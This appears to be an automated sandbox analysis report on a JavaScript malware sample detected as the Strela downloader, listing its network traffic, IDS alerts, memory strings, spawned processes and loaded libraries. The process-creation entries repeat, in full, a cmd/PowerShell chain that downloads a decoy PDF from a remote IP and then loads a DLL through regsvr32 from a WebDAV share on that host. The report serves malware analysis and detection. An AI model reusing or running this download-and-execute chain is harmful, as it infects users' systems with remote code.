Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1503353036.00000108AED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1610599646.000001B0250D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1607419611.000001B0250D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1610541997.000001B025098000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1610760641.000001B0250F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1603885146.000001B0250EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1610541997.000001B025098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2801387397.000001F3B6200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1608250310.000001F3B6150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1776, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2836992752554325080.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4260:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mw2kcw4h.24p.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2836992752554325080.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1672,i,1573266173070229235,7893960405040525869,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1672,i,1573266173070229235,7893960405040525869,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
